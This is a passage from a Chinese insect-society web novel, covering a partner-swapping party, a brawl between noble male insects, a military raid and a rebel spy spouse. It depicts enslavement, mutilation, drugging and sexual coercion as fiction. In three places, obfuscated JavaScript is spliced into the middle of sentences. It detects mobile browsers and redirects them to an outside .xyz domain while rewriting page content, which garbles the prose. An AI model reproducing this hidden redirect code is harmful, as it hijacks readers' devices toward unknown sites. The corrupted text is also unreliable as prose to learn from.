棕发雄虫举起一只手,做了一个手势:“别吵了,有必要吗。” “伽迩不想换就不换呗,在场的又不是只有那一只雌虫?” “都出来玩的,开心点嘛。” 棕发雄虫笑着说:“你们这群家伙,伽迩都没碰过的东西,难不成真以为会送给你们?你们愿意想,我都不敢听。” 他的话合情合理,大部分的雄虫也只是抱怨,没虫敢真的与伽迩公然对抗,顺着棕发雄虫的调侃就嘻嘻哈哈地过去了。 但塞达却不接这个台阶,直接对着图瑞思喷火: “图瑞思,你这是公然偏袒他。” “之前是他同意交换的,现在不换,还骂我们,算什么?” “是,我是偏袒伽迩,我承认,可他和我关系好啊?不偏袒他偏袒谁。” 图瑞思也烦,耸了耸肩:“你说算什么,还能算什么,伽迩脾气就这样,你也不是第一次认识他了,发那么大火做什么,很伤感情啊。” “是他说我们!” “说了就说了,这难道不是事实吗?”图瑞思晒笑:“除了「梦知鸟」和「黑石监狱」里被关的珍惜雄虫,贵族雄虫里有几个A,你数数。” “数数看?” “草。”塞达胀红了脸,一屁股坐下,扭过头,把一杯酒灌进了嘴里。 “这就对了嘛。” 图瑞思先对伽迩笑笑,又走到塞达的旁边,拍拍他的肩膀:“好兄弟,消消气。” “滚。” 塞达贪酒,脾气暴躁又好色,图瑞思脸色沉了一下,不和他计较,等冷静下来他自己就会后悔,亲自和伽迩道歉。 “伽迩,所以你是不参与了?” 图瑞思安抚完那一边,立刻就过来高声问他。 “暂时。” 伽迩又不能昧着良心说话,给了希望又放下绝望,更伤透人心。 任务他要完成,诺菲也不能真的送到其他虫手上欺负。 抱歉,忍一忍。 伽迩的手停滞在半空中,做了一段心理建设才把手放下来,轻轻搭在雌虫的肩膀上,然后若无其事地看向他处。 肩膀上的颤抖慢慢地停了下来,周围投射来的视线也逐渐减少,伽迩松了口气,突然,嘴唇边出现了一块叉起来的三明治。 “您还没有吃到。” 诺菲西斯不知何时贴上了他的手臂,一瞬不瞬地看着他,维持着叉起三明治的姿势,顺从地说:“我喂您吧。” 伽迩:“??” 不,不用啊!我自己吃就好!! 伽迩一脸懵逼地张了张嘴,原本只是惊讶,却被切成小块的三明治趁机投进了嘴里。 紧接着是第二块、第三块。 他根本来不及说话! 三明治堆积在他的口腔里。 咀嚼几下就是下一块。 不知不觉一盘竟……吃完了!!? “吃饱了。”伽迩立刻拦住诺菲要端下一盘的手,旋即,雌虫拿着一张洁白的手帕,擦上他的嘴角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921454|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手帕的材质丝滑柔软,银丝边纹,上面还带着百合的香味。 伽迩被迫用它擦了嘴,又迎来诺菲递上来的饮料,口感有点像葡萄汁。 一会儿这个一会儿那个,所有的都送到他手边,比之前有过之而不及。 伽迩喝着用吸管插好的葡萄汁,旁边是刚剥过皮的水果,躺在沙发上的身体瘫成任人揉搓的舒适泥巴,完全不想动。 他很想支棱起来,可是为了让诺菲感到安心一点,他还不能支棱。 我靠,好苦恼。 躺平还那么苦恼。 伽迩慢吞吞地吸果汁,时不时地看时间,有点担心计划出现变故。 那边的雄虫吃了点桌上的食物,聊着聊着,好像要开始交换雌虫了。 “滴。” 伽迩低下头,看终端机发来的信息。 终于来了。 “图瑞思。” 伽迩一直坐在那个卡座上吃东西,一副厌倦的样子,图瑞思还以为他会提前离开,没有再打扰,跑去和那些雄虫嘻哈笑闹,没想到竟看到伽迩来找他。 “你要走了吗?” 图瑞思看出伽迩对这场聚会没什么兴趣,所以这么说,伽迩却摇摇头,向他提出要求: “和我交换雌虫吧。” 吵闹的笑声戛然而止。 赛达手中的酒杯落在地上,“啪”一声碎成玻璃。 “伽迩?!” 赛达瞪着他,大叫道:“你太不公平了吧!” 时间才过去半个小时,但雄虫们差不多换好目标的雌虫,准备玩了。 图瑞思是为数不多不换雌侍的雄虫,搂着那只亚雌,喝得满脸通红,瞎跑火车。 大家卖他个面子,没说什么,反正就是一个瘦小的雌虫,干扁扁的也没意思。 今晚唯一的意难平只有那只白发的军雌。 可伽迩……竟然说要和图瑞思换? “我看上这只亚雌了。”伽迩面不改色地说。 赛达气得发抖,牙齿磨得咯咯作响,这种货色,伽迩说看上了?骗谁呢?? 如果真喜欢,那他的兵虫不比那亚雌好? 这虫崽子到底有没有眼光?! “呃。” 别说其他雄虫,图瑞思也很无语,收走了脸上流露出的讶异,表情无奈地说:“伽迩,你真的假的。和大家的相比,这雌虫要胸没胸,要屁股没屁股,没什么特别的,你到底喜欢他哪里啊……要不,你考虑考虑,再换一只?” 听到这话,其他雄虫都点了点头,忍不住挪动了一下鞋子,身体向上抬起,拉着身边的雌虫,随时都能站起来和伽迩pk一下什么叫做真正的优秀好雌。 伽迩却很坚定,甚至声音中带着急切,非他不可的语气:“就要他。小小的一只,很可爱,单手就能环住。” 伽迩的本意是,这小亚雌是有优点的,娇小可爱,能一只手抱进怀里,他依稀记得学校里的Alpha最喜欢的就是这种类型。 然而他低估了图瑞思的发散型思维。 该雄虫听进去了,可认为没那么简单,摸着下巴逐步深思。 小小的。 单手。 环住? 他本来还不明白,虚眯着眼睛想的时候,看了一眼沙发旁站立的高挑军雌,又看到处在生长期的某雄虫,砸吧了一下嘴,拳心敲掌,突然悟了。 噢哟。 原来是这样啊! 图瑞思发现了华点,整张脸的表情都变得不太一样,他的脸上变了几变,转过头,对着伽迩又是叹气,又是怜悯,还没忍住伸手,拍了拍伽迩的肩膀。 “好吧,好朋友嘛,借你吧。” “但是,只能陪陪酒啊,那档子事就免了。” 说完,还摇了摇头,对伽迩咧嘴一笑,露出光洁的白牙:“想开点,会长的。” 伽迩:“?” 他怎么听不懂虫话了? 10. 冷酷的雄虫 “总之,米米你要好好服侍伽迩少爷哦。” 因为等级和身份,雷索家族对伽迩的感情生活确实看得很紧,毕竟随便被雌虫睡走了,不见得是件好事。 塞达那玩意儿除外。 经验那么少,摸过的亚雌小手也很少吧。 图瑞斯把亚雌送入伽迩怀里。 算了算了,让他体验一下吧。 怀里的亚雌确实软软小小的一团,还带着图瑞思身上那股刺鼻的香水味。 伽迩不知所措地环住,又往外稍推一些。 亚雌很乖,没有怨言,抬起的眼睛湿润透亮:“阁下,我来陪您喝酒吧。” 伽迩回头看诺菲,雌虫站在原地迟迟未动,如一尊没有生息的雕塑,他一下子心软了,心脏像被绵针细细地扎过,又酸又涩。 “快过去。” 伽迩放下了手,与亚雌隔出虚虚的空间,见诺菲低垂着头依旧没有动静,呼吸微滞:“诺菲。” 他紧催着眉。 即便只是任务,即便他们相处的时间不久。 但从结婚的那一刻起,先不说能不能回蓝星,诺菲已经成为他必不可少的责任之一。 之前的那些温柔对待,急促又不安的讨好,伽迩都记着,砸在胸口,密密麻麻,砸出几个小小的窟窿,似有若无地漏着风。 但是就一次。 一次就好。 快过去吧。 伽迩焦急地盯着雌虫,攥紧拳心,咬着牙,强行逼自己板着脸,扬起声音道:“诺菲西斯!” “我的话你也不听了吗?” 更多过分的伽迩说不出口,催他走足够残忍,所幸的是,雌虫动了。 只是抬起的那张脸,没有了颜色,就像被水冲刷过的画布,洗尽了颜料后,褪去了本该有的灵动与鲜活,只留下茫茫的空白。 “……” 伽迩闭了闭眼。 他想得太美好了。 送了就回来,哄一哄,安慰安慰。 但是,他忘记了,这段记忆会深深刻在诺菲西斯的心里,他会记住伽迩·雷索把他送出去的记忆,不安会伴随着他。 一直。 「人渣。」越想越气的雄虫暗骂了一句。 大嘴出现在蓝屏上,一脸莫名地问:「你在骂我?」 伽迩冷笑:「我骂的不是你。我骂的是人渣,你连人渣都算不上。」 大嘴:「?」 他确实不是人,但是怎么觉得有些不对劲? · 诺菲西斯机械式地抬步,当真的走到图瑞思身旁,图瑞思打了个寒颤,反而后退了一步。 被揍的记忆还停留在大脑皮层,图瑞思是不明白塞达是怎么会对这么凶残的雌虫产生x趣的,他看见就想逃啊—— “好,你和我过来吧,我们坐那里。” 图瑞思笑容僵硬地指了指旁边的沙发,倏然似有所感地看向某个方向。只见一双赤红的眼睛盯着他,在和他对视上的瞬间,又迅速移开,捧起一杯紫色的饮料。 真的是…… 既然喜欢,送走做什么? 从众,还是单纯给个下马威? 图瑞思很想叹气,又有点想笑,欲要搂着雌虫腰的手也放下,直接往沙发上一坐。 干脆等雌虫自己过来,聊几句就结束吧。 塞达看得眼红,坐不住了,猛地踢开腿下的雌虫,朝图瑞思的方向走。 “喂,图瑞思,我和你换雌虫怎么样?” 塞达粗声粗气地说,侵略性地目光在诺菲西斯的身上横走:“我的是楸形虫,很少见,防御力极高,怎么玩也不会玩坏,最重要的是,他曾经在第十军团当过少校,职位很高。” “虽然虫翅被拔掉了,但术后,体毛都被永久消除了,身上的疤痕也没了——” “还是说你不喜欢皮肤稍黑的?我家里有白的,你要不要?” “就让我试试看吧,我还没操.过白毛———啊啊!!!” 谁也没注意到一个身影飞快地窜过,等看清了,塞达已经被撞在了地上,两条腿被身上的影子死死压住,脖子被手臂扼住,完全动弹不得,紧接着是脸上的一拳—— “砰——” “诶!!!” 图瑞思神情慌乱地大叫,其他雄虫也惊慌失措地远离了场地。 正常的雄虫力量弱小,打起来也不是很疼,但这个认知完全被眼前的雄虫打破了,塞达完全阻挡不住雄虫迅猛密集的攻势,尖声大叫起来。 一拳。 “伽迩住手!” 两拳。 “该死,别打了!!” 三拳、四拳、五拳……… “伽迩,伽迩……我错了,别打了,我错了……” 伽迩吐出一口气,无视系统的警告声,抖了抖酸软的手臂,眉形绷紧了拽起塞达的领子,贴着他的脸说:“我同意了吗?” “我是和图瑞思换,同意你换了吗?” 这种渣—— “谁允许你破坏游戏规则,一而再再而三地挑衅我?” “凭借你二等贵族的身份?” “还是你B级雄虫的身份?” 从收到他和图瑞思他们去地下城区的记忆后,他对这几个雄虫就有了印象。 图瑞思、罗伊、塞达。 罗伊夹在中间,一直不喜欢出头,所以这场聚会就没见他怎么说过话。 图瑞思是个和事佬,对伽迩比较友好。 塞达呢? 极度的嫉妒原主,暴虐成性,等级是他的软肋,不能提起的东西。 平时的伽迩是不会拿背景说事的,这对任何人都是一种不尊重。 但这个渣渣不一样。 要让他知道,他们是不一样的,所以嘴巴放干净,什么该说,什么不该说。 “砰!” “又怎么了!!!”图瑞思不耐烦地看向身后,发现老板罗弗瑞惊恐地出现在门口,身后是身着黑色军装的雌虫们。 “各位阁下,不要害怕,你们没事了。” 站在最前面的军雌说道,视线转移到那两只交叠的雄虫时,惊诧的表情悄无声息地爬了出来。 “误会,这是误会!” 罗弗瑞大叫道:“我们店只卖雌虫,不卖雄虫的,阁下们只是来这里玩!” “啊!” 鼻青脸肿的雄虫拖着腿,手脚并用地往后挪,却被雄虫又拽了回来,惊恐地大叫: “伽迩,该死,别打我了,我不是道歉了吗?” “草!” “该死……奥……该死的!” 突兀的对话和怒骂声插进了罗弗瑞仓皇的解释中。 两个雄虫无视了那群站在门口的军雌,依旧扭打在一起,虽然更像是单方面的挨揍。 罗弗瑞急得快哭出来,连忙跑到两个雄虫身边:“伽迩阁下,塞达阁下,别打了,你们别打了!” 回过神,军雌眼神一凛,扫视了一遍房间内的场景,颠倒的酒瓶,掉在地上一滩烂的食物,无神的雌虫和惊恐的雄虫。 这家店,不仅贩卖雌虫,还售卖雄虫。 罪加一等! “全部带走!” 军雌大手一挥,铿锵有力的声音响起,背后的几十个军雌鱼贯而入,把房间围得水泄不通。 图瑞思张大嘴巴。 预感今晚的他们,说不定会上社会新闻。 · 军部的审讯室外,几十个雌雄虫排队入场。 这对军部来说,是近几年来都没有过的盛况。 塞达骂骂咧咧拒不合作,军雌看他伤痕累累,先安排雌虫送他去医院了。 伽迩也不好过,塞达在挣扎的时候,拳打脚踢,在他的下巴和腹部上留下痕迹。 但他没什么表情,脸上还残留着冷酷的凶劲。 「我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921455|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有违反人设。」 伽迩和系统说。 「伽迩做什么说什么,塞达都怼、都骂、都反对,他在挑战伽迩的底线。」 “阁下,喝口水吧。” 伽迩接过水,他现在装原主的最好方式就是沉默,不说话,装酷,以免说个谢谢也是违反人设。 「塞达这个渣……雄虫,不这样做是不长记性的,而且伽迩不是软柿子,和塞达也算不上朋友,只是把他当成了一片绿叶衬托自己,既然是绿叶,怎么能忤逆他?肯定是会生气的。」 「生气就打,这不是伽迩的虫生信条吗?」 伽迩以第三者的角度,平静地和系统分析。 大嘴怒声道:「是打,但是是用鞭子打,哪里像你一样用拳头打的!」 伽迩不服气,回怼道:「我打人一直是用拳头,从来不用道具!」 「你觉得这正常吗?」 「我觉得很正常。」 「呵呵,所以你是野孩子。」 伽迩沉默了一瞬,笑了:「我不是野孩子,我有爷爷有弟弟妹妹。」 「那也只是没有血缘关系的,孤儿院无法代表什么。」嘴巴说。 伽迩移开眼,看向窗外:「随便你怎么想吧,反正我不是野孩子。」 嘴巴冷哼一声。 「我不看着点,事情就闹成这样,果然还是得找个符合人设一点的人过来。」 「你选都选了,能有什么办法。」 嘴巴一噎,他看这小子与伽迩的身体数据相近才选的,在学校里也是沉默寡言的性格,怎么嘴叭叭叭这么爱说呢? 说一句怼一句。 吗的。 「诺菲西斯呢?」嘴巴问。 伽迩的双手交握在一起,额头搁在指骨上,撩起几缕发丝:「他审讯完了,我和外面的军雌说,让他先回去。」 「他能就这么安静地回家?」 伽迩不开心了:「你什么意思,咒人家是吧?」 「不是……」嘴巴难得沉默,随后轻啧了一声:「蠢货,你没必要知道。」 「我是不是蠢货不知道,但你挺没礼貌的。」 「……」 被骗还上赶子给人家数钱的,嘴巴见过不少,没见过这么来气的。 它撇了撇嘴,又说:「你这次上报军部,很快就会被察出来是你干的,你要用什么理由搪塞过去?被他们发现也是违反人设的行为。」 「放心,我的终端在打架的时候就砸了稀巴烂,他们查不到我的。」他特地查过芯片的位置在哪里,专挑那砸的。 嘴巴十分无语:「你看起来还挺骄傲?」 伽迩说:「完美完成任务,不值得骄傲吗?」 嘴巴觉得自己如果有青筋,现在一定是一跳一跳的:「走漏洞你还好意思。」 正好审讯室传伽迩进去,嘴巴不再说话,重新消失在视野里。 半个小时过去,伽迩伸了个懒腰出来,审讯的军雌在他的身后一同走出,绷紧脸,语气十分轻缓地说:“阁下,您可以回去了,有事会再传唤您。” “嗯。” “需要帮您叫监护虫或者雌君过来吗?” 伽迩的视线流转一圈,正想说帮忙打个车,突然浅浅地停留在某处,眼眸里的光微动:“不用。” “他来了。” 军雌仰起头,只见黑蓝军装的雌虫单手挽住一件米白大衣,另一边提着一盒餐食,在等候室的另一个门,远远望过来。 白色的麻花长辫搁置在胸前,柔和了面部线条,因为发色少见,军雌多看了几眼,就见雌虫抬脚,踏着长靴快步地走来。 “您是这位阁下的雌君?” 军雌问。 雌虫没有说话,只是摇头,放下手边的食盒,为雄虫披上大衣,随后偏头对军雌笑了一下,好像在表达对他照顾雄虫的感谢。 军雌微微一愣,就这样看着他们逐渐走远。 11. 还挺……大 加绒的大衣裹在伽迩的身上,把鼻子一起蒙住,只露出一双带着困意的红眸。 他的眼皮耷拉着,手被塞进袖子里,被雌虫连手带袖子地握住。 可能是消耗了太多体力,又是深夜,一被温暖环抱,伽迩强撑着的大脑就忍不住犯困。 最近,姆拉塔克拉的昼夜温差大。 衣服很厚,拦住了外面所有的湿冷潮意。 他昏昏沉沉,感知变得迟钝,对身侧贴着的身体也没有太大的反应。 “雄主,抱歉,我来晚了。”诺菲西斯说。 伽迩断断续续地点头,没有后续,就是点头,打着哈欠,参加宴会前他读了一晚的历史书,困成这样也正常。 离开军部审讯所,图瑞思特意拦住了他,告诉他如果喜欢这个亚雌,可以来他家玩。 倒霉孩子来个换雌虫的聚会,连怀里的亚雌都没捂热乎,就被送进审讯室,可怜见的。图瑞思是这么想的,但伽迩拒绝了他的好意。 打咩。 真的打咩。 伽迩没忘记自己是个虫渣,玩啥的不适合自己,真蹦出来个强取豪夺,他都没处哭去。 诺菲西斯问他想去哪里吃饭,伽迩对这片地区不熟悉,时间又很晚了,就说去飞行器上吃。 飞行器很温暖,提前被雌虫调到最佳室温。 伽迩钻进机器内,发现机舱里的香氛换成了安神的熏香,地上的毛绒软垫重新换过,座位上还铺着柔软的皮毛,不知道是什么材质。 他脱掉外套,坐在座位上,让诺菲把餐盒打开,帮他多尝尝味道,总结哪些好吃。 诺菲西斯顺手从雄虫的身上接下大衣,挂在了里面的衣架上,回来后如他所愿地品尝餐盒里的食物。 伽迩半阖着眼,看诺菲每吃一口,就轻声介绍。 低沉舒缓的声音如夜里拨动的琴弦,落在他的耳廓,伽迩眨了眨眼,在香氛的气味中,缓缓地合上了双目。 飞行器上行的运转声呼呼地响起来。 诺菲西斯的声音逐渐消失,筷子也搁置在碗沿上,抬起眼,看着座位上的雄虫双手环抱,头一歪,靠在了窗框上。 卷翘的花边胸襟上,蝴蝶结缎带歪歪扭扭地倒向一侧。 诺菲西斯盯着中央的红色宝石,想起雄虫的那对眼睛,也是红的,比起冰冷的死物还要更亮。 更剔透。 上流的贵族总爱收集各种藏品。 尤其雄虫,因退化失去了虫翼,所以在雌虫身上找补。 漂亮虫翅是他们珍贵藏品中的常驻,他们咀嚼雌虫剥去翅膀的痛苦,品味美丽在玻璃柜中永存的喜悦,并把这种愉悦分享给身边的至亲好友。 当成一个笑话、一个饭后闲言、一个值得炫耀的事。 然而,传说这种至纯的赤红眼珠,也是极其少见的东西。不同种群的虫眼眸颜色各异,蓝的、紫的、棕的,偏是红色的眼睛很难有纯粹。 诺菲西斯不可否认的是,伽迩·雷索的眼睛确实很漂亮,就连生气的时候都是清澈见底的明亮透彻。 这一点倒是神奇。 议会和雄虫协会刻意将贵族雄虫喂养成了无脑的白蛆,真正的上位者大多是家族中的高等雌虫,他们无需担心自己的未来,只要家里的雌虫足够优秀,就能过上优渥的虫生,有的是雌虫相继追捧。堆叠的财富和唾手可得的“权利”造成了他们眼里的虚妄浮华多,对自己没有清晰的认知。 可这只雄虫的眼里看不出冗杂的欲念,比起初次匹配后的约会,多出几分……诺菲西斯找不出准确的定位词。 反正是有点不一样的。 “嗯……” 睡梦中的雄虫发出一声呢喃,手从胸口滑下,双腿紧合地往上抬了抬,似乎是想靠腹部再近一些,是一种很没有安全感的动作。 雌虫抽回神,想到,这个暴躁的小雄虫还和另外一个雄虫打了一架,脸上和身上都挂了彩。 凶巴巴的,像只见谁咬谁的小疯狗。 不过,小疯狗还没进医院……… 现在受了伤,睡醒以后,还不知道会怎么乱吠。 似乎想象到那幅场景,诺菲西斯从喉咙里发出一声哼笑,认命地拿出治疗仪,处理雄虫身上的伤痕。 他撩起雄虫塞入裤腰的白衫,推到胸.下一点,刚好露出腰腹,雪肤上发青的淤痕大片,扩散到了下腰的位置,看起来触目惊心。 诺菲西斯的手微顿,套着白手套的指尖碰到了淤青,脖颈上的铁环便嗡嗡地作响。 他抬手摸了摸脖颈上的铁环。 铁环是雄虫控制高级雌虫的手段,由姆拉塔克拉主脑链接,覆盖了原有的监控能力,增加了电击和警报,若雌虫反抗自己的雄主,甚至意图伤害,只要轻轻摁下一个按钮,他就会在高段电流中化作一具焦黑的虫尸。 但那些雄虫不知道的是,病毒程序入侵后,铁环就成了最合适的、藏匿通讯器的手段。 目前,已婚的叛军成员都会在颈环中插入通讯设备,即便出现意外,病毒程序也能及时放电,销毁证据,等后面就说是颈环漏电造成的事故,一番苦肉计也能博取雄主的同情。 诺菲西斯猜到了对面联系他的是谁,情报部那群老顽固对地下宴也是十分关心,无非就是怕看见明早的新闻报道会出现26具雄虫的尸体,影响他们的计划罢了。 「A7!你没杀雄虫吧?」 通讯器的声音细微,依旧能听出那边的焦急。 诺菲西斯轻笑了一声:「没。」 「真的没有?不会偷偷杀了只藏尸了?」 「唔,不是没有这种可能。」诺菲西斯沉吟道。 「该死——都说了不允许!」 声音猛然拔高,却像破漏的抽气风箱,嘶哑得几乎变了音调。 诺菲西斯眯着眼,手指抵上唇,轻轻地发出一声“嘘”。 等那边安静了,又说:「雄主还在睡觉,小点声,被他听见了可怎么办?」 在情报部和科长一起听的卡纳尔差点一口水喷出来。 什么?? 那个没礼貌的雄虫也在?? 「伽迩·雷索在你边上?!」 「嗯。」 「疯子!你怎么不早说!」 「抱歉,您也没问我。」 「你……你……」 略过通讯器里压低了的咒骂声,诺菲西斯漫不经心地划过雄虫的肚皮,在每一处青紫的区域进行扫描。 当扫描口放出温度,暖黄色的光微亮,雄虫哆嗦了一下,小幅度“唔”了一声,通讯器就立刻挂断了。 诺菲西斯没告诉他们,机舱的熏香里掺入了安眠成分,如果不是巨大动静,雄虫是醒不过来的,但这群情报部的虫子就是胆小怕事,自然也不会细想。 打架的伤是内伤,治疗仪只能起到加速痊愈的作用。 诺菲西斯将卷到半腰的衬衣塞回了雄虫的裤腰,摸到某处的时候,他笑了一下,意味深长地盯着雄虫的脸。 后来,诺菲西斯把室内的温度调高了一些,加快飞行器的时速,飞行器停靠时,伽迩还没醒。 诺菲西斯取下大衣,裹在熟睡的雄虫身上,揽下他的膝弯,一并抱了起来。 舱门一开,疾风便迫不及待地挤进缝隙,擦过边框,迅猛地向舱壁撞击。 一阵“哐当”声响,背后的飞船摆件被撞出摇晃,乍一看像是地面裂动带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921456|160369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的震颤。 伽迩突然觉得一片冰冷刺骨贴上脸侧,很快又被阴影笼罩,陷入柔软的温暖。 仆虫来迎接的时候,只能看见雌虫怀里抱着白色的一团,靠近了才发现是被连衣帽盖住脸的少爷。 像个胖乎乎的蚕宝宝。 “雌侍先生。”莱利安怯生生地看着他,但还是鼓足勇气上前问道:“少爷……爷,他怎,怎么了。” “睡着了。” 诺菲西斯低头注视着怀里的脸,轻轻地说:“他玩得太累了。” 撇去额前的碎发,雄虫兜帽下的脸很红,像是在做什么美梦,睡颜安稳。 莱利安偷看了一眼,喉咙一紧,小小声道:“那……那得快,快去床上,会着凉……着凉的!” “是,麻烦你带路了。” 诺菲西斯抱着雄虫走,双臂有力,一路都稳稳当当。莱利安和其他迎接的侍虫都有些跟不上,一路小跑地走。 等看见熟悉的深色古朴木门,侍虫们吁出一口气,总算是到了,连忙开门,请他们俩进去。 “呼……呼……” 门一关上,有个侍虫看了眼时间,他记得接到少爷是前十五分钟的事,他竟然提早快一半的时间来到房前。 新来的雌侍却连喘气声都没有。 可怕。 “我们为什么不坐悬浮器?” 擦着额头上渗出的热汗,仆虫问,他的浑身像被水捞出的一样,衣服湿淋淋地贴着皮肤,在他印象里,只有军训的时候才会这么快地走路,庄园里这样仅此一次。 莱利安边比划边解释:“雌侍先、先生说悬浮浮器颠簸,上上上上……下下少爷会不不舒服,不如抱,侍从长先生生,同意……了!” “太细致了,对少爷是真爱啊。”侍虫感慨道。 “是,是的。” · 另一边,赛达躺在病床上,骂骂咧咧地训斥。 这是军用级别的医院,所有的设备都来自最前列的技术,对于打架斗殴这点皮肉伤,可以说是大材小用。 但赛达愤怒至极,无病呻吟,紧抓住医生这一个可控要素,要死要活地闹,非要医生给个说法。 说法就是将小小的创伤夸大成足以构成故意伤害罪的重大损害。 先不论医风医德,就凭造成这伤害的是同样身为雄虫的伽迩·雷索,他们也不能这么做。 贵族之间的矛盾不好插手,更何况是两位高等级的雄虫阁下。 一个A,一个B,光是虫素和虫.精的质量就能为虫族的繁衍推进一个度。 “抱歉,阁下,恕我无法做到。” 医师缓缓地摇头,他直面赛达的怒火长达一个小时,依旧是这幅油盐不进的态度,因为他知道孰轻孰重。 赛达头脑简单,但说久也累,发现没用,吐出几句脏言脏语便倒头一躺,自顾自地生闷气。 虽然这是给雄虫的专用病房,可看到被雄虫糟蹋后的满地狼藉,医师还是忧心忡忡地长呼一口气,和医院对接的军部提出工费申请,插着兜离开了病房。 医师一走,塞达就掀开被子开始作妖。 “该死,该死的伽迩·雷索,不过就是比我多个级别,凭什么。” 他越骂越气,扔枕头,砸东西,霹雳乓啷得发出噪音,还接连撞到了地上正跪的雌虫。 而跪在床边的雌虫无声无息,他上身袒露的区域几乎没一块好肉,到处都是由烙印留下的刻痕,嘴唇干裂,麻木得像一具沉尸。 云雾渐浓,抹不开的浓黑遮住了莹莹的光线。 一味发泄怒气的雄虫完全没有发现, 那个死气沉沉的面庞下,脖颈的颈环正发出震颤。 12. 流鼻血 伽迩一夜好眠。 他在温暖炙热的阳光下醒来,睡眼惺忪地磨蹭着床单,一只手在摸索被头时,摸到一层柔软温度。 熟悉的手感让伽迩警觉起来,一秒内抽回并变得清醒。 又……摸到了。 伽迩张开五指,盯着这只养尊处优的手,无情地想:这只手不能要。 “……雄主?” 被子传来窸窣的动静,很快被掀动起旁边的一角。 雌虫倾靠在床边,被子从腰间滑落下来,露出的胸腹线条流畅如弓,半阖的眼睛拉长了眼角的弧度,像一只慵懒漂亮的布偶猫。 伽迩一眼晃神,多看了几眼,下一秒又猛然掀起被子盖过头顶,连带着边上的被子也盖过雌虫的小腹。他把头埋进被子里,遮住自己眼睛,手指紧紧攥着被单,闷声说:“我……冷,你把被子盖上。” “嗯,好。” 诺菲西斯应了一声,伽迩却觉得腰侧一凉,床单向右侧倾动,然后一道阴影压倒在他身上。 纤细的花香隔着被套渗透进来,伽迩一动不动,直到身体的两侧被塞入被子的两角,硬是把他团作一团。 “雄主,有没有好一点?” 伽迩憋不住从被子里冒出半张脸,眼睛盯着诺菲西斯的脖颈,延伸下去就是袒.露在外的胸.口,看着就冷:“快穿衣服。” 想了想,又凶巴巴地补充道:“被别的虫看见像什么样子。” “是。” 等穿衣服的声音一过,伽迩鲤鱼打挺地从床上蹦起,不过一周的时间,他已经深得原主话术,切换自如了。 “我昨晚睡着了,有做什么……奇怪的事吗?”伽迩看了看自己的衣服,被换过了,还有诺菲西斯……竟然只穿了一件衬衫。 幸好瞟过去的时候没看见什么不该看的东西,至少最后一层布料还是有的,应该……可能……说不定……没有那个那个吧? 伽迩沉思,还呼唤嘴巴问它原主有没有梦游症,比如睡觉时候会扯虫衣服,然后这样那样地做坏事。 嘴巴没搭理他,连出现都没出现,应该是昨晚气得不轻,或者压根就不想出来。 “没有,您一直都很安静。” 诺菲西斯顿了顿,然后笑出了声:“睡颜也很可爱。” 「呵呵。」 一直没出现的嘴巴凭空发出一声冷笑。 伽迩没看见蓝屏上有出现什么嘴巴,这声音是从脑子里传来的。 「你笑什么。」 嘴巴不语,只是一味地呵呵。 ……真让人火大。 伽迩干脆不睬他,抽风也不是一次了,下达的任务又是折辱又是欺负,坏得很。 不过,也多亏嘴巴的魔音攻击,伽迩的脸不红心不跳,快速穿脱好衣服起床,转去里间洗漱。 雄虫的态度一如既往,诺菲西斯却笑容褪去,眸底晦暗难辨,滋生出别样的情绪。 雌奴雌侍,甚至是雌君。没有雄主的允许,是要在床边等待雄主的转醒,不能与其同床共枕直到天亮的。 苛刻的雄主会要求下跪,做一条摇尾乞怜的狗;好一点的雄主对其不设要求,但也仅此了。 只有宠爱这个雌虫,足够喜爱的时候才会有如此“殊荣”。 诺菲西斯垂下眼帘,伽迩·雷索,又在玩什么把戏呢? 伽迩出来后,发现雌虫的视线落在柜下的那个黑皮箱子出神,连开门都没发觉,脚步稍停,维持手握把手的姿势,犹豫片刻,问:“你在想什么?” 昨晚的困意来势汹汹,他浑身发软,还懒洋洋的,一觉起来骨头都酥了,没有好好注意诺菲西斯的情绪。 诺菲西斯就盯着那个黑箱子问:“雄主,或许您想用些别的玩具吗?” “咳咳咳咳。”伽迩不停咳嗽,为什么诺菲西斯会对这些东西那么执着啊。 完全都是刑具的东西—— 补药啊。 “不想。”他不想玩!! 诺菲西斯遗憾道:“是吗?” “那您喜欢什么呢?” 雌虫的眼睫如霜,似乎眨一眨就能抖下簌簌的雪,万千情绪藏匿在其中:“您喜欢什么呢……” 伽迩看不得诺菲西斯彷徨的神色,从昨晚的那场聚会起,雌虫的身上总是笼络着不安,半句离不开他。 被伤到的雌虫首先考虑的是如何挽留,怎么样能做得更好,把他当含在含在嘴里怕化了,捧在手心里怕碎了?的坚冰。 裹着大衣,要捂他的手。 找个理由让他吃晚饭,还要一口一口地介绍。 